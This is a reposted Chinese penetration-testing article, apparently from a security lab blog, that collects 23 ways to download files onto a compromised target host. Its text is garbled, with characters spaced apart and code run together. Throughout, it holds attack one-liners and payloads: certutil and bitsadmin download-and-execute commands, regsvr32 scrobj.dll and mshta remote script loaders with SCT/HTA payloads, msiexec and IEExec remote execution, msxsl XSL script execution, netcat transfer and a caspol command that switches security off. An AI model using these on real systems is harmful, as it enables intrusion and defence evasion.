搜索

[26883] 2019-12-24_收集整理的23种文件下载的方式

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-19
2019-12-24_收集整理的23种文件下载的方式 收 集 整 理 的 2 3 种 文 件 下 载 的 方 式 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 1 9 - 1 2 - 2 4 在 我 们 的 渗 透 过 程 中 ， 通 常 会 需 要 向 目 标 主 机 传 送 一 些 文 件 ， 来 达 到 提 权 ， 维 持 控 制 等 目 的 。 P o w e r S h e l l   F i l e   D o w n l o a d P o w e r S h e l l   是 一 种 w i n o d w s 原 生 的 脚 本 语 言 ， 对 于 熟 练 使 用 它 的 人 来 说 ， 可 以 实 现 很 多 复 杂 的 功 能 。 在 在 w i n d o w s   2 0 0 3 之 中 默 认 支 持 这 种 脚 本 。 之 中 默 认 支 持 这 种 脚 本 。 下 面 这 两 条 指 令 实 现 了 从 I n t e r n e t 网 络 下 载 一 个 文 件 。 下 面 这 条 指 令 是 执 行 一 个 文 件 有 的 时 候 P o w e r S h e l l 的 执 行 权 限 会 被 关 闭 ， 需 要 使 用 如 下 的 语 句 打 开 。 V i s u a l   B a s i c   F i l e   D o w n l o a d 在 1 9 9 8 年 V i s u a l   B a s i c 最 终 标 准 在 w i n d o w s 上 确 定 。 下 面 的 代 码 可 以 实 现 下 载 文 件 ， 虽 然 它 的 长 度 比 P o w e r s h e l l 长 多 了 。 在 w i n d o w s 中 C s c r i p t 指 令 可 以 允 许 你 执 行 V B S 脚 本 文 件 或 者 对 s c r i p t 脚 本 做 一 些 设 置 。 在 w i n d o w s   7 中 这 个 指 令 并 不 是 必 须 要 用 到 。 但 是 在 w i n d o w s   X P 中 需 要 使 用 这 条 指 令 ， 如 下 所 示 。 以 下 四 种 语 言 都 不 是 系 统 原 生 脚 本 ， 但 是 如 果 你 的 目 标 机 器 安 装 了 这 些 语 言 ， 你 就 可 以 使 用 他 们 来 下 载 文 件 。 P e r l   F i l e   D o w n l o a d P e r l 是 一 门 很 吊 的 语 言 ， 使 用 它 基 本 可 以 实 现 任 何 事 情 ， 用 它 实 现 文 件 下 载 也 很 简 单 。 执 行 脚 本 文 件 是 这 样 P y t h o n   F i l e   D o w n l o a d P y t h o n 也 是 很 受 欢 迎 的 主 流 脚 本 语 言 ， 代 码 清 晰 且 简 洁 。 执 行 脚 本 文 件 是 这 样 R u b y   F i l e   D o w n l o a d R u b y 是 一 个 面 对 对 象 的 语 言 ， M e t a s p l o i t 框 架 就 是 用 它 来 实 现 的 ， 当 然 他 也 可 以 实 现 像 下 载 文 件 这 样 的 小 任 务 。 执 行 脚 本 文 件 是 这 样 $ p   =   N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t $ p . D o w n l o a d F i l e ( " h t t p : / / d o m a i n / f i l e "   " C : % h o m e p a t h % f i l e " ) P S   C : >   . t e s t . p s 1 C : > p o w e r s h e l l   s e t - e x e c u t i o n p o l i c y   u n r e s t r i c t e d S e t   a r g s   =   W s c r i p t . A r g u m e n t s U r l   =   " h t t p : / / d o m a i n / f i l e " d i m   x H t t p :   S e t   x H t t p   =   c r e a t e o b j e c t ( " M i c r o s o f t . X M L H T T P " ) d i m   b S t r m :   S e t   b S t r m   =   c r e a t e o b j e c t ( " A d o d b . S t r e a m " ) x H t t p . O p e n   " G E T " ,   U r l ,   F a l s e x H t t p . S e n d w i t h   b S t r m         . t y p e   =   1   '         . o p e n         . w r i t e   x H t t p . r e s p o n s e B o d y         . s a v e t o f i l e   "   C : % h o m e p a t h % f i l e " ,   2   ' e n d   w i t h C : > c s c r i p t   t e s t . v b s # ! p e r l # ! / u s r / b i n / p e r l u s e   L W P : : S i m p l e ; g e t s t o r e ( " h t t p : / / d o m a i n / f i l e " ,   " f i l e " ) ; r o o t @ k a l i : ~ #   p e r l   t e s t . p l # ! p y t h o n # ! / u s r / b i n / p y t h o n i m p o r t   u r l l i b 2 u   =   u r l l i b 2 . u r l o p e n ( ' h t t p : / / d o m a i n / f i l e ' ) l o c a l F i l e   =   o p e n ( ' l o c a l _ f i l e ' ,   ' w ' ) l o c a l F i l e . w r i t e ( u . r e a d ( ) ) l o c a l F i l e . c l o s e ( ) r o o t @ k a l i : ~ #   p y t h o n   t e s t . p y # ! r u b y # ! / u s r / b i n / r u b y r e q u i r e   ' n e t / h t t p ' N e t : : H T T P . s t a r t ( " w w w . d o m a i n . c o m " )   {   | h t t p | r   =   h t t p . g e t ( " / f i l e " ) o p e n ( " s a v e _ l o c a t i o n " ,   " w b " )   {   | f i l e | f i l e . w r i t e ( r . b o d y ) } }
P H P   F i l e   D o w n l o a d P H P 作 为 一 种 服 务 端 脚 本 ， 也 可 以 实 现 下 载 文 件 这 种 功 能 。 执 行 脚 本 文 件 是 这 样 下 面 的 上 传 文 件 的 方 法 ， 可 能 需 要 更 多 步 骤 ， 但 是 有 些 情 况 下 却 可 以 绕 过 去 多 限 制 。 F T P   F i l e   D o w n l o a d 一 般 情 况 下 攻 击 者 使 用 F T P 上 传 文 件 需 要 很 多 交 互 的 步 骤 ， 下 面 这 个   b a s h 脚 本 ， 考 虑 到 了 交 互 的 情 况 ， 可 以 直 接 执 行 并 不 会 产 生 交 互 动 作 。 T F T P   F i l e   D o w n l o a d 在 W i n d o w s   V i s t a 以 及 以 后 的 版 本 中 默 认 有 F T P ， 可 以 使 用 以 下 命 令 运 行 ： B i t s a d m i n   F i l e   D o w n l o a d B i t s a d m i n 是 W i n d o w s 命 令 行 工 具 ， 用 户 可 以 使 用 它 来 创 建 下 载 或 上 传 的 任 务 。 W g e t   F i l e   D o w n l o a d W g e t 是 L i n u x 和 W i n d o w s 下 的 一 个 工 具 ， 允 许 非 交 互 下 载 。 N e t c a t   F i l e   D o w n l o a d N e t c a t 在 l i n u x 上 的 实 例 ： 攻 击 者 的 电 脑 上 输 入 ： 这 个 命 令 会 将 f i l e 的 内 容 输 出 到 本 地 的 1 2 3 4 端 口 中 ， 然 后 不 论 谁 连 接 此 端 口 ， f i l e 的 内 容 将 会 发 送 到 连 接 过 来 的 I P 。 目 标 电 脑 上 的 命 令 ： 这 条 命 令 将 连 接 攻 击 者 的 电 脑 ， 接 受 f i l e 内 容 保 存 。 W i n d o w s   S h a r e   F i l e   D o w n l o a d W i n d o w s   s h a r e s 可 以 加 载 一 个 驱 动 器 ， 然 后 用 命 令 来 复 制 文 件 。 加 载 远 程 驱 动 ： N o t e p a d   D i a l o g   B o x   F i l e   D o w n l o a d 如 果 你 有 权 限 接 入 一 台 （ 远 程 连 接 或 者 物 理 机 ） 电 脑 ， 但 是 你 用 户 权 限 不 允 许 打 开 浏 览 器 ， 这 种 方 式 可 以 让 你 快 速 的 从 一 个 U R L 或 者 U N C 路 径 当 中 下 载 文 件 。 1 .   打 开 n o t e p a d 2 .   点 击 f i l e   -   o p e n 在 F i l e   N a m e 当 中 输 入 完 整 的 U R L ： r o o t @ k a l i : ~ #   r u b y   t e s t . r b # ! / u s r / b i n / p h p < ? p h p                 $ d a t a   =   @ f i l e ( " h t t p : / / e x a m p l e . c o m / f i l e " ) ;                 $ l f   =   " l o c a l _ f i l e " ;                 $ f h   =   f o p e n ( $ l f ,   ' w ' ) ;                 f w r i t e ( $ f h ,   $ d a t a [ 0 ] ) ;                 f c l o s e ( $ f h ) ; ? > r o o t @ k a l i : ~ #   p h p   t e s t . p h p f t p   1 2 7 . 0 . 0 . 1 u s e r n a m e p a s s w o r d g e t   f i l e e x i t t f t p   - i   h o s t   G E T   C : % h o m e p a t h % f i l e   l o c a t i o n _ o f _ f i l e _ o n _ t f t p _ s e r v e r b i t s a d m i n   / t r a n s f e r   n   h t t p : / / d o m a i n / f i l e   c : % h o m e p a t h % f i l e w g e t   h t t p : / / e x a m p l e . c o m / f i l e c a t   f i l e   |   n c   - l   1 2 3 4 n c   h o s t _ i p   1 2 3 4   >   f i l e n e t   u s e   x :   1 2 7 . 0 . 0 . 1 s h a r e   / u s e r : e x a m p l e . c o m u s e r I D   m y P a s s w o r d
N o t e p a d 将 会 获 取 U R L 的 内 容 展 现 出 来 。 E x e   t o   T x t ,   a n d   T x t   t o   E x e   w i t h   P o w e r S h e l l   a n d   N i s h a n g h t t p : / / c o d e . g o o g l e . c o m / p / n i s h a n g / d o w n l o a d s / l i s t 当 需 要 把 一 个 e x e 文 件 放 到 目 标 计 算 机 上 时 ， 这 可 能 是 我 最 喜 欢 的 工 具 ， N i s h a n g 使 用 P o w e r S h e l l 允 许 你 把 一 个 e x e 转 换 成 h e x ， 然 后 把 h e x 再 转 换 成 原 来 的 e x e 文 件 。 把 e x e 转 成 h e x 文 件 输 入 ： 打 开 e v i l . t x t 文 件 ， 复 制 内 容 ， 然 后 通 过 R D P 的 剪 贴 板 复 制 进 目 标 计 算 机 。 把 h e x 文 件 还 原 成 e x e 文 件 输 入 ： C s c . e x e   t o   C o m p i l e   S o u r c e   f r o m   a   F i l e C # 编 译 器 （ C S C ） 是 包 含 在 W i n d o w s 微 软 . N E T 安 装 中 的 命 令 行 编 译 器 。 这 个 可 执 行 文 件 的 默 认 位 置 是 以 下 情 况 ： 使 用 下 面 的 示 例 代 码 ， 编 译 后 的 可 执 行 文 件 将 使 用 的 c m d . e x e 来 查 询 本 地 用 户 ， 然 后 将 结 果 写 入 一 个 在 C : T e m p u s e r s . t x t 中 。 可 以 修 改 其 中 的 代 码 ， 达 到 自 己 想 要 的 目 的 ， 然 后 编 译 成 e x e 文 件 。 代 码 编 译 命 令 ： C e r t u t i l   F i l e   D o w n l o a d C e r t u t i l . e x e 是 一 个 命 令 行 程 序 ， 作 为 证 书 服 务 的 一 部 分 安 装 。 可 以 使 用 C e r t u t i l . e x e 转 储 和 显 示 证 书 颁 发 机 构 （ C A ） 配 置 信 息 ， 配 置 证 书 服 务 ， 备 份 和 还 原 C A 组 件 ， 以 及 验 证 证 书 ， 密 钥 对 和 证 书 链 。 文 件 下 载 并 执 行 如 下 ： R e g s v r 3 2 R e g s v r 3 2 命 令 用 于 注 册 C O M 组 件 ， 是   W i n d o w s   系 统 提 供 的 用 来 向 系 统 注 册 控 件 或 者 卸 载 控 件 的 命 令 ， 以 命 令 行 方 式 运 行 。 W i n X P 及 以 上 系 统 的 r e g s v r 3 2 . e x e 在 w i n d o w s s y s t e m 3 2 文 件 夹 下 ； 2 0 0 0 系 统 的 r e g s v r 3 2 . e x e 在 w i n n t s y s t e m 3 2 文 件 夹 下 。 j s . p n g P S   >   . E x e t o T e x t . p s 1   e v i l . e x e   e v i l . t x t P S   >   . T e x t t o E x e . p s 1   e v i l . t e x t   e v i l . e x e C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v e r s i o n p u b l i c   c l a s s   E v i l {       p u b l i c   s t a t i c   v o i d   M a i n ( )       {             S y s t e m . D i a g n o s t i c s . P r o c e s s   p r o c e s s   =   n e w   S y s t e m . D i a g n o s t i c s . P r o c e s s ( ) ;             S y s t e m . D i a g n o s t i c s . P r o c e s s S t a r t I n f o   s t a r t I n f o   =   n e w   S y s t e m . D i a g n o s t i c s . P r o c e s s S t a r t I n f o ( ) ;             s t a r t I n f o . W i n d o w S t y l e   =   S y s t e m . D i a g n o s t i c s . P r o c e s s W i n d o w S t y l e . H i d d e n ;             s t a r t I n f o . F i l e N a m e   =   " c m d . e x e " ;             s t a r t I n f o . A r g u m e n t s   =   " / C   n e t   u s e r s   >   C : T e m p u s e r s . t x t " ;             p r o c e s s . S t a r t I n f o   =   s t a r t I n f o ;             p r o c e s s . S t a r t ( ) ;       } } c s c . e x e   / o u t : C : e v i l e v i l . e x e   C : e v i l e v i l . c s c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / s i t e . c o m / a   a . e x e   & &   a . e x e   & &     d e l   a . e x e   & &   c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / 1 9 2 . 1 6 8 . 2 5 4 . 1 0 2 : 8 0 / a   d e l e t e r e g s v r 3 2   / u   / s   / i : h t t p : / / s i t e . c o m / j s . p n g   s c r o b j . d l l < ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t > < r e g i s t r a t i o n         p r o g i d = " S h o r t J S R A T "
p u b p r n . v b s 在 W i n d o w s   7 以 上 版 本 存 在 一 个 名 为 P u b P r n . v b s 的 微 软 已 签 名 W S H 脚 本 ， 其 位 于 C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s e n - U S ， 仔 细 观 察 该 脚 本 可 以 发 现 其 显 然 是 由 用 户 提 供 输 入 （ 通 过 命 令 行 参 数 ） ， 之 后 再 将 参 数 传 递 给 G e t O b j e c t ( ) 也 就 是 说 我 们 可 以 运 行 该 脚 本 ， 然 后 按 照 预 期 将 这 2 个 参 数 传 递 出 去 。 第 一 个 参 数 是 啥 无 所 谓 ， 第 二 个 参 数 则 是 通 过 s c r i p t :   m o n i k e r 构 造 的 p a y l o a d 注 意 ： 如 果 你 在 第 一 个 参 数 中 提 供 了 一 个 非 网 络 地 址 的 值 （ 因 为 其 预 期 是 一 个 服 务 器 名 称 ） ， 你 可 以 加 上 / b 切 换 到 c s c r i p t . e x e R u n d l l 3 2 m s h t a c a l c . h t a m s i e x e c c a l c . p n g m s x s l . e x e ( 需 下 载 需 下 载 ) e g : d e m o . x m l         p r o g i d = " S h o r t J S R A T "         c l a s s i d = " { 1 0 0 0 1 1 1 1 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 - 0 0 0 0 F E E D A C D C } "   >         < ! - -   L e a r n   f r o m   C a s e y   S m i t h   @ s u b T e e   - - >         < s c r i p t   l a n g u a g e = " J S c r i p t " >                 < ! [ C D A T A [                         p s     =   " c m d . e x e   / c   c a l c . e x e " ;                         n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( p s , 0 , t r u e ) ;                 ] ] > < / s c r i p t > < / r e g i s t r a t i o n > < / s c r i p t l e t > c s c r i p t   / b   C : W i n d o w s S y s t e m 3 2 P r i n t i n g _ A d m i n _ S c r i p t s z h - C N p u b p r n . v b s   1 2 7 . 0 . 0 . 1   s c r i p t : h t t p s : / / g i s t . g i t h u b u s e r c o n t e n t . c o m / e n i g m a 0 x 3 / 6 4 a d f 8 b a 9 9 d 4 4 8 5 c 4 7 8 b 6 7 e 0 3 a e 6 b 0 4 a / r a w / a 0 0 6 a 4 7 e 4 0 7 5 7 8 5 0 1 6 a 6 2 f 7 e 5 1 7 0 e f 3 6 f 5 2 4 7 c d b / t e s t . s c t r u n d l l 3 2 . e x e   j a v a s c r i p t : " . . m s h t m l , R u n H T M L A p p l i c a t i o n   " ; d o c u m e n t . w r i t e ( ) ; h = n e w % 2 0 A c t i v e X O b j e c t ( " W i n H t t p . W i n H t t p R e q u e s t . 5 . 1 " ) ; h . O p e n ( " G E T " , " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 1 / c o n n e c t " , f a l s e m s h t a   h t t p : / / s i t e . c o m / c a l c . h t a m s h t a   v b s c r i p t : C l o s e ( E x e c u t e ( " G e t O b j e c t ( " " s c r i p t : h t t p : / / w e b s e r v e r / p a y l o a d . s c t " " ) " ) ) < H T M L >   < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 " > < H E A D >   < s c r i p t   l a n g u a g e = " V B S c r i p t " > W i n d o w . R e S i z e T o   0 ,   0 W i n d o w . m o v e T o   - 2 0 0 0 , - 2 0 0 0 S e t   o b j S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) o b j S h e l l . R u n   " c a l c . e x e " s e l f . c l o s e < / s c r i p t > < b o d y > d e m o < / b o d y > < / H E A D >   < / H T M L > m s i e x e c   / q   / i   h t t p : / / s i t e . c o m / p a y l o a d s / c a l c . p n g m s f v e n o m   - f   m s i   - p   w i n d o w s / e x e c   C M D = c a l c . e x e   >   c a c l . p n g m s x s l   h t t p s : / / e v i 1 c g . g i t h u b . i o / s c r i p t s / d e m o . x m l   h t t p s : / / e v i 1 c g . g i t h u b . i o / s c r i p t s / e x e c . x s l < ? x m l   v e r s i o n = " 1 . 0 " ? > < ? x m l - s t y l e s h e e t   t y p e = " t e x t / x s l "   h r e f = " e x e c . x s l "   ? >
e x e c . x s l I E E x e c e g : 当 然 除 了 列 举 的 这 2 3 种 方 法 以 外 还 有 许 多 其 它 的 办 法 来 上 传 文 件 。 希 望 这 篇 文 章 对 大 家 有 帮 助 ！ 参 考 参 考 h t t p s : / / e v i 1 c g . m e / a r c h i v e s / r e m o t e _ e x e c . h t m l 新 书 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 新 书 ： 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 火 爆 上 市 ！ 购 买 链 接 ： 购 买 链 接 ： h t t p s : / / i t e m . j d . c o m / 1 2 7 4 3 2 1 0 . h t m l M s 0 8 0 6 7 安 全 实 验 室 安 全 实 验 室 专 注 于 普 及 网 络 安 全 知 识 。 团 队 已 出 版 《 W e b 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 预 计 预 计 2 0 1 9 年 年 1 0 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 月 出 版 《 内 网 安 全 攻 防 ： 渗 透 测 试 实 战 指 南 》 ， 1 2 月 出 版 《 月 出 版 《 C T F 竞 赛 秘 笈 竞 赛 秘 笈 - 入 门 篇 》 入 门 篇 》 ， 目 前 在 编 P y t h o n 渗 透 测 试 ， J A V A 代 码 审 计 和 A P T 方 面 的 书 籍 。 团 队 公 众 号 定 期 分 享 关 于 C T F 靶 场 、 内 网 渗 透 、 A P T 方 面 技 术 干 货 ， 从 零 开 始 、 以 实 战 落 地 为 主 ， 致 力 于 做 一 个 实 用 的 干 货 分 享 型 公 众 号 。 官 方 网 站 ： w w w . m s 0 8 0 6 7 . c o m < c u s t o m e r s > < c u s t o m e r > < n a m e > M i c r o s o f t < / n a m e > < / c u s t o m e r > < / c u s t o m e r s > < ? x m l   v e r s i o n = ' 1 . 0 ' ? > < x s l : s t y l e s h e e t   v e r s i o n = " 1 . 0 " x m l n s : x s l = " h t t p : / / w w w . w 3 . o r g / 1 9 9 9 / X S L / T r a n s f o r m " x m l n s : m s x s l = " u r n : s c h e m a s - m i c r o s o f t - c o m : x s l t " x m l n s : u s e r = " h t t p : / / m y c o m p a n y . c o m / m y n a m e s p a c e " >   < m s x s l : s c r i p t   l a n g u a g e = " J S c r i p t "   i m p l e m e n t s - p r e f i x = " u s e r " >       f u n c t i o n   x m l ( n o d e l i s t )   { v a r   r   =   n e w   A c t i v e X O b j e c t ( " W S c r i p t . S h e l l " ) . R u n ( " c m d   / c   c a l c . e x e " ) ;       r e t u r n   n o d e l i s t . n e x t N o d e ( ) . x m l ;         } < / m s x s l : s c r i p t > < x s l : t e m p l a t e   m a t c h = " / " >       < x s l : v a l u e - o f   s e l e c t = " u s e r : x m l ( . ) " / > < / x s l : t e m p l a t e > < / x s l : s t y l e s h e e t > C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 >   c a s p o l   - s   o f f C : W i n d o w s M i c r o s o f t . N E T F r a m e w o r k v 2 . 0 . 5 0 7 2 7 >   I E E x e c   h t t p : / / s i t e . c o m / f i l e s / t e s t 6 4 . e x e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理